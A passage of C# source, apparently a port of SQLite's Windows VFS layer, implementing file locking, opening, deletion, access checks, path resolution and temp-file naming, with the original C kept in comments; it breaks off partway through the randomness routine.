}\n\n    /*\n    ** This routine checks if there is a RESERVED lock held on the specified\n    ** file by this or any other process. If such a lock is held, return\n    ** non-zero, otherwise zero.\n    */\n    static int winCheckReservedLock( sqlite3_file id, ref int pResOut )\n    {\n      int rc;\n      sqlite3_file pFile = (sqlite3_file)id;\n      Debug.Assert( id != null );\n      if ( pFile.locktype >= RESERVED_LOCK )\n      {\n        rc = 1;\n#if SQLITE_DEBUG\n        OSTRACE3( \"TEST WR-LOCK %d %d (local)\\n\", pFile.fs.Name, rc );\n#endif\n      }\n      else\n      {\n        try\n        {\n          lockingStrategy.LockFile( pFile, RESERVED_BYTE, 1 );\n          lockingStrategy.UnlockFile( pFile, RESERVED_BYTE, 1 );\n          rc = 1;\n        }\n        catch ( IOException e )\n        { rc = 0; }\n        rc = 1 - rc; // !rc\n#if SQLITE_DEBUG\n        OSTRACE3( \"TEST WR-LOCK %d %d (remote)\\n\", pFile.fs.GetHashCode(), rc );\n#endif\n      }\n      pResOut = rc;\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Lower the locking level on file descriptor id to locktype.  locktype\n    ** must be either NO_LOCK or SHARED_LOCK.\n    **\n    ** If the locking level of the file descriptor is already at or below\n    ** the requested locking level, this routine is a no-op.\n    **\n    ** It is not possible for this routine to fail if the second argument\n    ** is NO_LOCK.  If the second argument is SHARED_LOCK then this routine\n    ** might return SQLITE_IOERR;\n    */\n    static int winUnlock( sqlite3_file id, int locktype )\n    {\n      int type;\n      sqlite3_file pFile = (sqlite3_file)id;\n      int rc = SQLITE_OK;\n      Debug.Assert( pFile != null );\n      Debug.Assert( locktype <= SHARED_LOCK );\n\n#if SQLITE_DEBUG\n      OSTRACE5( \"UNLOCK %d to %d was %d(%d)\\n\", pFile.fs.GetHashCode(), locktype,\n      pFile.locktype, pFile.sharedLockByte );\n#endif\n      type = pFile.locktype;\n      if ( type >= EXCLUSIVE_LOCK )\n      {\n        lockingStrategy.UnlockFile( pFile, SHARED_FIRST, SHARED_SIZE ); // UnlockFile(pFilE.h, SHARED_FIRST, 0, SHARED_SIZE, 0);\n        if ( locktype == SHARED_LOCK && getReadLock( pFile ) == 0 )\n        {\n          /* This should never happen.  We should always be able to\n          ** reacquire the read lock */\n          rc = SQLITE_IOERR_UNLOCK;\n        }\n      }\n      if ( type >= RESERVED_LOCK )\n      {\n        try\n        {\n          lockingStrategy.UnlockFile( pFile, RESERVED_BYTE, 1 );// UnlockFile(pFilE.h, RESERVED_BYTE, 0, 1, 0);\n        }\n        catch ( Exception e ) { }\n      }\n      if ( locktype == NO_LOCK && type >= SHARED_LOCK )\n      {\n        unlockReadLock( pFile );\n      }\n      if ( type >= PENDING_LOCK )\n      {\n        try\n        {\n          lockingStrategy.UnlockFile( pFile, PENDING_BYTE, 1 );//    UnlockFile(pFilE.h, PENDING_BYTE, 0, 1, 0);\n        }\n        catch ( Exception e )\n        { }\n      }\n      pFile.locktype = (u8)locktype;\n      return rc;\n    }\n\n    /*\n    ** Control and query of the open file handle.\n    */\n    static int winFileControl( sqlite3_file id, int op, ref int pArg )\n    {\n      switch ( op )\n      {\n        case SQLITE_FCNTL_LOCKSTATE:\n          {\n            pArg = ( (sqlite3_file)id ).locktype;\n            return SQLITE_OK;\n          }\n        case SQLITE_LAST_ERRNO:\n          {\n            pArg = (int)( (sqlite3_file)id ).lastErrno;\n            return SQLITE_OK;\n          }\n      }\n      return SQLITE_ERROR;\n    }\n\n    /*\n    ** Return the sector size in bytes of the underlying block device for\n    ** the specified file. This is almost always 512 bytes, but may be\n    ** larger for some devices.\n    **\n    ** SQLite code assumes this function cannot fail. It also assumes that\n    ** if two files are created in the same file-system directory (i.e.\n    ** a database and its journal file) that the sector size will be the\n    ** same for both.\n    */\n    static int winSectorSize( sqlite3_file id )\n    {\n      Debug.Assert( id != null );\n      return (int)( id.sectorSize );\n    }\n\n    /*\n    ** Return a vector of device characteristics.\n    */\n    static int winDeviceCharacteristics( sqlite3_file id )\n    {\n      UNUSED_PARAMETER( id );\n      return 0;\n    }\n\n    /*\n    ** This vector defines all the methods that can operate on an\n    ** sqlite3_file for win32.\n    */\n    static sqlite3_io_methods winIoMethod = new sqlite3_io_methods(\n    1,                        /* iVersion */\n    (dxClose)winClose,\n    (dxRead)winRead,\n    (dxWrite)winWrite,\n    (dxTruncate)winTruncate,\n    (dxSync)winSync,\n    (dxFileSize)sqlite3_fileSize,\n    (dxLock)winLock,\n    (dxUnlock)winUnlock,\n    (dxCheckReservedLock)winCheckReservedLock,\n    (dxFileControl)winFileControl,\n    (dxSectorSize)winSectorSize,\n    (dxDeviceCharacteristics)winDeviceCharacteristics\n    );\n\n    /***************************************************************************\n    ** Here ends the I/O methods that form the sqlite3_io_methods object.\n    **\n    ** The next block of code implements the VFS methods.\n    ****************************************************************************/\n\n    /*\n    ** Convert a UTF-8 filename into whatever form the underlying\n    ** operating system wants filenames in.  Space to hold the result\n    ** is obtained from malloc and must be freed by the calling\n    ** function.\n    */\n    static string convertUtf8Filename( string zFilename )\n    {\n      return zFilename;\n      // string zConverted = \"\";\n      //if (isNT())\n      //{\n      //  zConverted = utf8ToUnicode(zFilename);\n      /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed.\n      */\n#if !SQLITE_OS_WINCE\n      //}\n      //else\n      //{\n      //  zConverted = utf8ToMbcs(zFilename);\n#endif\n      //}\n      /* caller will handle out of memory */\n      //return zConverted;\n    }\n\n    /*\n    ** Create a temporary file name in zBuf.  zBuf must be big enough to\n    ** hold at pVfs.mxPathname characters.\n    */\n    static int getTempname( int nBuf, StringBuilder zBuf )\n    {\n      const string zChars = \"abcdefghijklmnopqrstuvwxyz0123456789\";\n      //static char zChars[] =\n      //  \"abcdefghijklmnopqrstuvwxyz\"\n      //  \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n      //  \"0123456789\";\n      //size_t i, j;\n      //char zTempPath[MAX_PATH+1];\n      //if( sqlite3_temp_directory ){\n      //  sqlite3_snprintf(MAX_PATH-30, zTempPath, \"%s\", sqlite3_temp_directory);\n      //}else if( isNT() ){\n      //  char *zMulti;\n      //  WCHAR zWidePath[MAX_PATH];\n      //  GetTempPathW(MAX_PATH-30, zWidePath);\n      //  zMulti = unicodeToUtf8(zWidePath);\n      //  if( zMulti ){\n      //    sqlite3_snprintf(MAX_PATH-30, zTempPath, \"%s\", zMulti);\n      //    free(zMulti);\n      //  }else{\n      //    return SQLITE_NOMEM;\n      //  }\n      /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed.\n      ** Since the ASCII version of these Windows API do not exist for WINCE,\n      ** it's important to not reference them for WINCE builds.\n      */\n#if !SQLITE_OS_WINCE\n      //}else{\n      //  char *zUtf8;\n      //  char zMbcsPath[MAX_PATH];\n      //  GetTempPathA(MAX_PATH-30, zMbcsPath);\n      //  zUtf8 = sqlite3_win32_mbcs_to_utf8(zMbcsPath);\n      //  if( zUtf8 ){\n      //    sqlite3_snprintf(MAX_PATH-30, zTempPath, \"%s\", zUtf8);\n      //    free(zUtf8);\n      //  }else{\n      //    return SQLITE_NOMEM;\n      //  }\n#endif\n      //}\n\n      StringBuilder zRandom = new StringBuilder( 20 );\n      i64 iRandom = 0;\n      for ( int i = 0 ; i < 20 ; i++ )\n      {\n        sqlite3_randomness( 1, ref iRandom );\n        zRandom.Append( (char)zChars[(int)( iRandom % ( zChars.Length - 1 ) )] );\n      }\n      //  zBuf[j] = 0;\n      zBuf.Append( Path.GetTempPath() + SQLITE_TEMP_FILE_PREFIX + zRandom.ToString() );\n      //for(i=sqlite3Strlen30(zTempPath); i>0 && zTempPath[i-1]=='\\\\'; i--){}\n      //zTempPath[i] = 0;\n      //sqlite3_snprintf(nBuf-30, zBuf,\n      //                 \"%s\\\\\"SQLITE_TEMP_FILE_PREFIX, zTempPath);\n      //j = sqlite3Strlen30(zBuf);\n      //sqlite3_randomness(20, zBuf[j]);\n      //for(i=0; i<20; i++, j++){\n      //  zBuf[j] = (char)zChars[ ((unsigned char)zBuf[j])%(sizeof(zChars)-1) ];\n      //}\n      //zBuf[j] = 0;\n\n#if SQLITE_DEBUG\n      OSTRACE2( \"TEMP FILENAME: %s\\n\", zBuf.ToString() );\n#endif\n      return SQLITE_OK;\n    }\n\n    /*\n    ** The return value of getLastErrorMsg\n    ** is zero if the error message fits in the buffer, or non-zero\n    ** otherwise (if the message was truncated).\n    */\n    static int getLastErrorMsg( int nBuf, ref string zBuf )\n    {\n      //int error = GetLastError ();\n\n#if SQLITE_OS_WINCE\nsqlite3_snprintf(nBuf, zBuf, \"OsError 0x%x (%u)\", error, error);\n#else\n      /* FormatMessage returns 0 on failure.  Otherwise it\n** returns the number of TCHARs written to the output\n** buffer, excluding the terminating null char.\n*/\n      //int iDummy = 0;\n      //object oDummy = null;\n      //if ( 00 == FormatMessageA( FORMAT_MESSAGE_FROM_SYSTEM,\n      //ref oDummy,\n      //error,\n      //0,\n      //zBuf,\n      //nBuf - 1,\n      //ref iDummy ) )\n      //{\n      //  sqlite3_snprintf( nBuf, ref zBuf, \"OsError 0x%x (%u)\", error, error );\n      //}\n#endif\n      zBuf = new Win32Exception( Marshal.GetLastWin32Error() ).Message;\n\n      return 0;\n    }\n\n    /*\n    ** Open a file.\n    */\n    static int winOpen(\n    sqlite3_vfs pVfs,       /* Not used */\n    string zName,           /* Name of the file (UTF-8) */\n    sqlite3_file pFile, /* Write the SQLite file handle here */\n    int flags,              /* Open mode flags */\n    ref int pOutFlags       /* Status return flags */\n    )\n    {\n      //HANDLE h;\n      FileStream fs = null;\n      FileAccess dwDesiredAccess;\n      FileShare dwShareMode;\n      FileMode dwCreationDisposition;\n      FileOptions dwFlagsAndAttributes;\n#if SQLITE_OS_WINCE\nint isTemp = 0;\n#endif\n      //winFile* pFile = (winFile*)id;\n      string zConverted;                 /* Filename in OS encoding */\n      string zUtf8Name = zName;    /* Filename in UTF-8 encoding */\n      StringBuilder zTmpname = new StringBuilder( MAX_PATH + 1 );        /* Buffer used to create temp filename */\n\n      Debug.Assert( pFile != null );\n      UNUSED_PARAMETER( pVfs );\n\n      /* If the second argument to this function is NULL, generate a\n      ** temporary file name to use\n      */\n      if ( String.IsNullOrEmpty( zUtf8Name ) )\n      {\n        int rc = getTempname( MAX_PATH + 1, zTmpname );\n        if ( rc != SQLITE_OK )\n        {\n          return rc;\n        }\n        zUtf8Name = zTmpname.ToString();\n      }\n\n      // /* Convert the filename to the system encoding. */\n      zConverted = zUtf8Name;// convertUtf8Filename( zUtf8Name );\n      if ( String.IsNullOrEmpty( zConverted ) )\n      {\n        return SQLITE_NOMEM;\n      }\n\n      if ( ( flags & SQLITE_OPEN_READWRITE ) != 0 )\n      {\n        dwDesiredAccess = FileAccess.Read | FileAccess.Write; // GENERIC_READ | GENERIC_WRITE;\n      }\n      else\n      {\n        dwDesiredAccess = FileAccess.Read; // GENERIC_READ;\n      }\n      /* SQLITE_OPEN_EXCLUSIVE is used to make sure that a new file is\n      ** created. SQLite doesn't use it to indicate \"exclusive access\"\n      ** as it is usually understood.\n      */\n      Debug.Assert( 0 == ( flags & SQLITE_OPEN_EXCLUSIVE ) || ( flags & SQLITE_OPEN_CREATE ) != 0 );\n      if ( ( flags & SQLITE_OPEN_EXCLUSIVE ) != 0 )\n      {\n        /* Creates a new file, only if it does not already exist. */\n        /* If the file exists, it fails. */\n        dwCreationDisposition = FileMode.CreateNew;// CREATE_NEW;\n      }\n      else if ( ( flags & SQLITE_OPEN_CREATE ) != 0 )\n      {\n        /* Open existing file, or create if it doesn't exist */\n        dwCreationDisposition = FileMode.OpenOrCreate;// OPEN_ALWAYS;\n      }\n      else\n      {\n        /* Opens a file, only if it exists. */\n        dwCreationDisposition = FileMode.Open;//OPEN_EXISTING;\n      }\n      dwShareMode = FileShare.Read | FileShare.Write;// FILE_SHARE_READ | FILE_SHARE_WRITE;\n      if ( ( flags & SQLITE_OPEN_DELETEONCLOSE ) != 0 )\n      {\n#if SQLITE_OS_WINCE\ndwFlagsAndAttributes = FILE_ATTRIBUTE_HIDDEN;\nisTemp = 1;\n#else\n        dwFlagsAndAttributes = FileOptions.DeleteOnClose; // FILE_ATTRIBUTE_TEMPORARY\n        //| FILE_ATTRIBUTE_HIDDEN\n        //| FILE_FLAG_DELETE_ON_CLOSE;\n#endif\n      }\n      else\n      {\n        dwFlagsAndAttributes = FileOptions.None; // FILE_ATTRIBUTE_NORMAL;\n      }\n      /* Reports from the internet are that performance is always\n      ** better if FILE_FLAG_RANDOM_ACCESS is used.  Ticket #2699. */\n#if SQLITE_OS_WINCE\ndwFlagsAndAttributes |= FileOptions.RandomAccess; // FILE_FLAG_RANDOM_ACCESS;\n#endif\n      if ( isNT() )\n      {\n        //h = CreateFileW((WCHAR*)zConverted,\n        //   dwDesiredAccess,\n        //   dwShareMode,\n        //   NULL,\n        //   dwCreationDisposition,\n        //   dwFlagsAndAttributes,\n        //   NULL\n        //);\n\n        //\n        // retry opening the file a few times; this is because of a racing condition between a delete and open call to the FS\n        //\n        int retries = 3;\n        while ( ( fs == null ) && ( retries > 0 ) )\n          try\n          {\n            retries--;\n            fs = new FileStream( zConverted, dwCreationDisposition, dwDesiredAccess, dwShareMode, 1024, dwFlagsAndAttributes );\n#if SQLITE_DEBUG\n            OSTRACE3( \"OPEN %d (%s)\\n\", fs.GetHashCode(), fs.Name );\n#endif\n          }\n          catch ( Exception e )\n          {\n            Thread.Sleep( 100 );\n          }\n\n        /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed.\n        ** Since the ASCII version of these Windows API do not exist for WINCE,\n        ** it's important to not reference them for WINCE builds.\n        */\n#if !SQLITE_OS_WINCE\n      }\n      else\n      {\n        Debugger.Break(); // Not NT\n        //h = CreateFileA((char*)zConverted,\n        //   dwDesiredAccess,\n        //   dwShareMode,\n        //   NULL,\n        //   dwCreationDisposition,\n        //   dwFlagsAndAttributes,\n        //   NULL\n        //);\n#endif\n      }\n      if ( fs == null || fs.SafeFileHandle.IsInvalid ) //(h == INVALID_HANDLE_VALUE)\n      {\n        //        free(zConverted);\n        if ( ( flags & SQLITE_OPEN_READWRITE ) != 0 )\n        {\n          return winOpen( pVfs, zName, pFile,\n          ( ( flags | SQLITE_OPEN_READONLY ) & ~SQLITE_OPEN_READWRITE ), ref pOutFlags );\n        }\n        else\n        {\n          return SQLITE_CANTOPEN;\n        }\n      }\n      //if ( pOutFlags )\n      //{\n      if ( ( flags & SQLITE_OPEN_READWRITE ) != 0 )\n      {\n        pOutFlags = SQLITE_OPEN_READWRITE;\n      }\n      else\n      {\n        pOutFlags = SQLITE_OPEN_READONLY;\n      }\n      //}\n      pFile.Clear(); // memset(pFile, 0, sizeof(*pFile));\n      pFile.pMethods = winIoMethod;\n      pFile.fs = fs;\n      pFile.lastErrno = NO_ERROR;\n      pFile.sectorSize = (ulong)getSectorSize( pVfs, zUtf8Name );\n#if SQLITE_OS_WINCE\nif( (flags & (SQLITE_OPEN_READWRITE|SQLITE_OPEN_MAIN_DB)) ==\n(SQLITE_OPEN_READWRITE|SQLITE_OPEN_MAIN_DB)\n&& !winceCreateLock(zName, pFile)\n){\nCloseHandle(h);\nfree(zConverted);\nreturn SQLITE_CANTOPEN;\n}\nif( isTemp ){\npFile.zDeleteOnClose = zConverted;\n}else\n#endif\n      {\n        // free(zConverted);\n      }\n#if SQLITE_TEST\n      OpenCounter( +1 );\n#endif\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Delete the named file.\n    **\n    ** Note that windows does not allow a file to be deleted if some other\n    ** process has it open.  Sometimes a virus scanner or indexing program\n    ** will open a journal file shortly after it is created in order to do\n    ** whatever it does.  While this other process is holding the\n    ** file open, we will be unable to delete it.  To work around this\n    ** problem, we delay 100 milliseconds and try to delete again.  Up\n    ** to MX_DELETION_ATTEMPTs deletion attempts are run before giving\n    ** up and returning an error.\n    */\n    static int MX_DELETION_ATTEMPTS = 5;\n    static int winDelete(\n    sqlite3_vfs pVfs,         /* Not used on win32 */\n    string zFilename,         /* Name of file to delete */\n    int syncDir               /* Not used on win32 */\n    )\n    {\n      int cnt = 0;\n      int rc;\n      int error;\n      UNUSED_PARAMETER( pVfs );\n      UNUSED_PARAMETER( syncDir );\n      string zConverted = convertUtf8Filename( zFilename );\n      if ( zConverted == null || zConverted == \"\" )\n      {\n        return SQLITE_NOMEM;\n      }\n#if SQLITE_TEST\n      //SimulateIOError(return SQLITE_IOERR_DELETE);  TODO --  How to implement this?\n#endif\n      if ( isNT() )\n      {\n        do\n        //  DeleteFileW(zConverted);\n        //}while(   (   ((rc = GetFileAttributesW(zConverted)) != INVALID_FILE_ATTRIBUTES)\n        //           || ((error = GetLastError()) == ERROR_ACCESS_DENIED))\n        //       && (++cnt < MX_DELETION_ATTEMPTS)\n        //       && (Sleep(100), 1) );\n        {\n          if ( !File.Exists( zFilename ) )\n          {\n            rc = SQLITE_IOERR;\n            break;\n          }\n          try\n          {\n            File.Delete( zConverted );\n            rc = SQLITE_OK;\n          }\n          catch ( IOException e )\n          {\n            rc = SQLITE_IOERR;\n            Thread.Sleep( 100 );\n          }\n        } while ( rc != SQLITE_OK && ++cnt < MX_DELETION_ATTEMPTS );\n        /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed.\n        ** Since the ASCII version of these Windows API do not exist for WINCE,\n        ** it's important to not reference them for WINCE builds.\n        */\n#if !SQLITE_OS_WINCE\n      }\n      else\n      {\n        do\n        {\n          //DeleteFileA( zConverted );\n          //}while(   (   ((rc = GetFileAttributesA(zConverted)) != INVALID_FILE_ATTRIBUTES)\n          //           || ((error = GetLastError()) == ERROR_ACCESS_DENIED))\n          //       && (cnt++ < MX_DELETION_ATTEMPTS)\n          //       && (Sleep(100), 1) );\n          if ( !File.Exists( zFilename ) )\n          {\n            rc = SQLITE_IOERR;\n            break;\n          }\n          try\n          {\n            File.Delete( zConverted );\n            rc = SQLITE_OK;\n          }\n          catch ( IOException e )\n          {\n            rc = SQLITE_IOERR;\n            Thread.Sleep( 100 );\n          }\n        } while ( rc != SQLITE_OK && cnt++ < MX_DELETION_ATTEMPTS );\n#endif\n      }\n      //free(zConverted);\n#if SQLITE_DEBUG\n      OSTRACE2( \"DELETE \\\"%s\\\"\\n\", zFilename );\n#endif\n      //return ( ( rc == INVALID_FILE_ATTRIBUTES )\n      //&& ( error == ERROR_FILE_NOT_FOUND ) ) ? SQLITE_OK : SQLITE_IOERR_DELETE;\n      return rc;\n    }\n\n    /*\n    ** Check the existence and status of a file.\n    */\n    static int winAccess(\n    sqlite3_vfs pVfs,       /* Not used on win32 */\n    string zFilename,       /* Name of file to check */\n    int flags,              /* Type of test to make on this file */\n    ref int pResOut         /* OUT: Result */\n    )\n    {\n      FileAttributes attr = 0; // DWORD attr;\n      int rc = 0;\n      //  void *zConverted = convertUtf8Filename(zFilename);\n      UNUSED_PARAMETER( pVfs );\n      //  if( zConverted==0 ){\n      //    return SQLITE_NOMEM;\n      //  }\n      //if ( isNT() )\n      //{\n      //\n      // Do a quick test to prevent the try/catch block\n      if ( flags == SQLITE_ACCESS_EXISTS )\n      {\n        pResOut = File.Exists( zFilename ) ? 1 : 0;\n        return SQLITE_OK;\n      }\n      //\n      try\n      {\n        attr = File.GetAttributes( zFilename );// GetFileAttributesW( (WCHAR*)zConverted );\n        if ( attr == FileAttributes.Directory )\n        {\n          StringBuilder zTmpname = new StringBuilder( 255 );        /* Buffer used to create temp filename */\n          getTempname( 256, zTmpname );\n\n          string zTempFilename;\n          zTempFilename = zTmpname.ToString();//( SQLITE_TEMP_FILE_PREFIX.Length + 1 );\n          try\n          {\n            FileStream fs = File.Create( zTempFilename, 1, FileOptions.DeleteOnClose );\n            fs.Close();\n            attr = FileAttributes.Normal;\n          }\n          catch ( IOException e ) { attr = FileAttributes.ReadOnly; }\n        }\n      }\n      /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed.\n      ** Since the ASCII version of these Windows API do not exist for WINCE,\n      ** it's important to not reference them for WINCE builds.\n      */\n#if !SQLITE_OS_WINCE\n      //}\n      //else\n      //{\n      //  attr = GetFileAttributesA( (char*)zConverted );\n#endif\n      //}\n      catch ( IOException e )\n      { }\n      //  free(zConverted);\n      switch ( flags )\n      {\n        case SQLITE_ACCESS_READ:\n        case SQLITE_ACCESS_EXISTS:\n          rc = attr != 0 ? 1 : 0;// != INVALID_FILE_ATTRIBUTES;\n          break;\n        case SQLITE_ACCESS_READWRITE:\n          rc = attr == 0 ? 0 : (int)( attr & FileAttributes.ReadOnly ) != 0 ? 0 : 1; //FILE_ATTRIBUTE_READONLY ) == 0;\n          break;\n        default:\n          Debug.Assert( \"\" == \"Invalid flags argument\" );\n          rc = 0;\n          break;\n      }\n      pResOut = rc;\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Turn a relative pathname into a full pathname.  Write the full\n    ** pathname into zOut[].  zOut[] will be at least pVfs.mxPathname\n    ** bytes in size.\n    */\n    static int winFullPathname(\n    sqlite3_vfs pVfs,             /* Pointer to vfs object */\n    string zRelative,             /* Possibly relative input path */\n    int nFull,                    /* Size of output buffer in bytes */\n    StringBuilder zFull           /* Output buffer */\n    )\n    {\n\n#if __CYGWIN__\nUNUSED_PARAMETER(nFull);\ncygwin_conv_to_full_win32_path(zRelative, zFull);\nreturn SQLITE_OK;\n#endif\n\n#if SQLITE_OS_WINCE\nUNUSED_PARAMETER(nFull);\n/* WinCE has no concept of a relative pathname, or so I am told. */\nsqlite3_snprintf(pVfs.mxPathname, zFull, \"%s\", zRelative);\nreturn SQLITE_OK;\n#endif\n\n#if !SQLITE_OS_WINCE && !__CYGWIN__\n      int nByte;\n      //string  zConverted;\n      string zOut = null;\n      UNUSED_PARAMETER( nFull );\n      //convertUtf8Filename(zRelative));\n      if ( isNT() )\n      {\n        //string zTemp;\n        //nByte = GetFullPathNameW( zConverted, 0, 0, 0) + 3;\n        //zTemp = malloc( nByte*sizeof(zTemp[0]) );\n        //if( zTemp==0 ){\n        //  free(zConverted);\n        //  return SQLITE_NOMEM;\n        //}\n        //zTemp = GetFullPathNameW(zConverted, nByte, zTemp, 0);\n        // will happen on exit; was   free(zConverted);\n        try\n        {\n          zOut = Path.GetFullPath( zRelative ); // was unicodeToUtf8(zTemp);\n        }\n        catch ( IOException e )\n        { zOut = zRelative; }\n        // will happen on exit; was   free(zTemp);\n        /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed.\n        ** Since the ASCII version of these Windows API do not exist for WINCE,\n        ** it's important to not reference them for WINCE builds.\n        */\n#if !SQLITE_OS_WINCE\n      }\n      else\n      {\n        Debugger.Break(); // -- Not Running under NT\n        //string zTemp;\n        //nByte = GetFullPathNameA(zConverted, 0, 0, 0) + 3;\n        //zTemp = malloc( nByte*sizeof(zTemp[0]) );\n        //if( zTemp==0 ){\n        //  free(zConverted);\n        //  return SQLITE_NOMEM;\n        //}\n        //GetFullPathNameA( zConverted, nByte, zTemp, 0);\n        // free(zConverted);\n        //zOut = sqlite3_win32_mbcs_to_utf8(zTemp);\n        // free(zTemp);\n#endif\n      }\n      if ( zOut != null )\n      {\n        // sqlite3_snprintf(pVfs.mxPathname, zFull, \"%s\", zOut);\n        if ( zFull.Length > pVfs.mxPathname ) zFull.Length = pVfs.mxPathname;\n        zFull.Append( zOut );\n\n        // will happen on exit; was   free(zOut);\n        return SQLITE_OK;\n      }\n      else\n      {\n        return SQLITE_NOMEM;\n      }\n#endif\n    }\n\n\n    /*\n    ** Get the sector size of the device used to store\n    ** file.\n    */\n    static int getSectorSize(\n    sqlite3_vfs pVfs,\n    string zRelative     /* UTF-8 file name */\n    )\n    {\n      int bytesPerSector = SQLITE_DEFAULT_SECTOR_SIZE;\n      StringBuilder zFullpath = new StringBuilder( MAX_PATH + 1 );\n      int rc;\n//      bool dwRet = false;\n//      int dwDummy = 0;\n\n      /*\n      ** We need to get the full path name of the file\n      ** to get the drive letter to look up the sector\n      ** size.\n      */\n      rc = winFullPathname( pVfs, zRelative, MAX_PATH, zFullpath );\n      if ( rc == SQLITE_OK )\n      {\n        StringBuilder zConverted = new StringBuilder( convertUtf8Filename( zFullpath.ToString() ) );\n        if ( zConverted.Length != 0 )\n        {\n          if ( isNT() )\n          {\n            /* trim path to just drive reference */\n            //for ( ; *p ; p++ )\n            //{\n            //  if ( *p == '\\\\' )\n            //  {\n            //    *p = '\\0';\n            //    break;\n            //  }\n            //}\n            int i;\n            for ( i = 0 ; i < zConverted.Length && i < MAX_PATH ; i++ )\n            {\n              if ( zConverted[i] == '\\\\' )\n              {\n                i++;\n                break;\n              }\n            }\n            zConverted.Length = i;\n            //dwRet = GetDiskFreeSpace( zConverted,\n            //     ref dwDummy,\n            //     ref bytesPerSector,\n            //     ref dwDummy,\n            //     ref dwDummy );\n            //#if !SQLITE_OS_WINCE\n            //}else{\n            //  /* trim path to just drive reference */\n            //  CHAR* p = (CHAR*)zConverted;\n            //  for ( ; *p ; p++ )\n            //  {\n            //    if ( *p == '\\\\' )\n            //    {\n            //      *p = '\\0';\n            //      break;\n            //    }\n            //  }\n            //        dwRet = GetDiskFreeSpaceA((CHAR*)zConverted,\n            //                                  dwDummy,\n            //                                  ref bytesPerSector,\n            //                                  dwDummy,\n            //                                  dwDummy );\n            //#endif\n          }\n          //free(zConverted);\n        }\n        //  if ( !dwRet )\n        //  {\n        //    bytesPerSector = SQLITE_DEFAULT_SECTOR_SIZE;\n        //  }\n        //}\n        bytesPerSector = GetbytesPerSector( zConverted );\n      }\n      return bytesPerSector == 0 ? SQLITE_DEFAULT_SECTOR_SIZE : bytesPerSector;\n    }\n\n#if !SQLITE_OMIT_LOAD_EXTENSION\n    /*\n** Interfaces for opening a shared library, finding entry points\n** within the shared library, and closing the shared library.\n*/\n    /*\n    ** Interfaces for opening a shared library, finding entry points\n    ** within the shared library, and closing the shared library.\n    */\n    //static void *winDlOpen(sqlite3_vfs pVfs, string zFilename){\n    //  HANDLE h;\n    //  void *zConverted = convertUtf8Filename(zFilename);\n    //  UNUSED_PARAMETER(pVfs);\n    //  if( zConverted==0 ){\n    //    return 0;\n    //  }\n    //  if( isNT() ){\n    //    h = LoadLibraryW((WCHAR*)zConverted);\n    /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed.\n    ** Since the ASCII version of these Windows API do not exist for WINCE,\n    ** it's important to not reference them for WINCE builds.\n    */\n#if !SQLITE_OS_WINCE\n    //  }else{\n    //    h = LoadLibraryA((char*)zConverted);\n#endif\n    //  }\n    //  free(zConverted);\n    //  return (void*)h;\n    //}\n    //static void winDlError(sqlite3_vfs pVfs, int nBuf, char *zBufOut){\n    //  UNUSED_PARAMETER(pVfs);\n    //  getLastErrorMsg(nBuf, zBufOut);\n    //}\n    //    static object winDlSym(sqlite3_vfs pVfs, HANDLE pHandle, String zSymbol){\n    //  UNUSED_PARAMETER(pVfs);\n    //#if SQLITE_OS_WINCE\n    //      /* The GetProcAddressA() routine is only available on wince. */\n    //      return GetProcAddressA((HANDLE)pHandle, zSymbol);\n    //#else\n    //     /* All other windows platforms expect GetProcAddress() to take\n    //      ** an Ansi string regardless of the _UNICODE setting */\n    //      return GetProcAddress((HANDLE)pHandle, zSymbol);\n    //#endif\n    //   }\n    //    static void winDlClose( sqlite3_vfs pVfs, HANDLE pHandle )\n    //   {\n    //  UNUSED_PARAMETER(pVfs);\n    //     FreeLibrary((HANDLE)pHandle);\n    //   }\n    //TODO -- Fix This\n    static HANDLE winDlOpen( sqlite3_vfs vfs, string zFilename ) { return new HANDLE(); }\n    static int winDlError( sqlite3_vfs vfs, int nByte, ref string zErrMsg ) { return 0; }\n    static HANDLE winDlSym( sqlite3_vfs vfs, HANDLE data, string zSymbol ) { return new HANDLE(); }\n    static int winDlClose( sqlite3_vfs vfs, HANDLE data ) { return 0; }\n#else // * if SQLITE_OMIT_LOAD_EXTENSION is defined: */\nstatic object winDlOpen(ref sqlite3_vfs vfs, string zFilename) { return null; }\nstatic int winDlError(ref sqlite3_vfs vfs, int nByte, ref string zErrMsg) { return 0; }\nstatic object winDlSym(ref sqlite3_vfs vfs, object data, string zSymbol) { return null; }\nstatic int winDlClose(ref sqlite3_vfs vfs, object data) { return 0; }\n#endif\n\n\n    /*\n** Write up to nBuf bytes of randomness into zBuf.\n*/\n\n    //[StructLayout( LayoutKind.Explicit, Size = 16, CharSet = CharSet.Ansi )]\n    //public class _SYSTEMTIME\n    //{\n    //  [FieldOffset( 0 )]\n    //  public u32 byte_0_3;\n    //  [FieldOffset( 4 )]\n    //  public u32 byte_4_7;\n    //  [FieldOffset( 8 )]\n    //  public u32 byte_8_11;\n    //  [FieldOffset( 12 )]\n    //  public u32 byte_12_15;\n    //}\n    //[DllImport( \"Kernel32.dll\" )]\n    //private static extern bool QueryPerformanceCounter( out long lpPerformanceCount );\n\n    static int winRandomness( sqlite3_vfs pVfs, int nBuf, ref byte[] zBuf )\n    {\n      int n = 0;\n      UNUSED_PARAMETER( pVfs );\n#if (SQLITE_TEST)\n      n = nBuf;\n      Array.Clear( zBuf, 0, n );// memset( zBuf, 0, nBuf );\n#else\nbyte[] sBuf = BitConverter.GetBytes(System.DateTime.Now.Ticks);\nzBuf[0] = sBuf[0];\nzBuf[1] = sBuf[1];\nzBuf[2] = sBuf[2];\nzBuf[3] = sBuf[3];\n;// memcpy(&zBuf[n], x, sizeof(x))\nn += 16;// sizeof(x);\nif ( sizeof( DWORD ) <= nBuf - n )\n{\n//DWORD pid = GetCurrentProcessId();\nput32bits( zBuf, n, (u32)Process.GetCurrentProcess().Id );//(memcpy(&zBuf[n], pid, sizeof(pid));\nn += 4;// sizeof(pid);\n}\nif ( sizeof( DWORD ) <= nBuf - n )\n{\n//DWORD cnt = 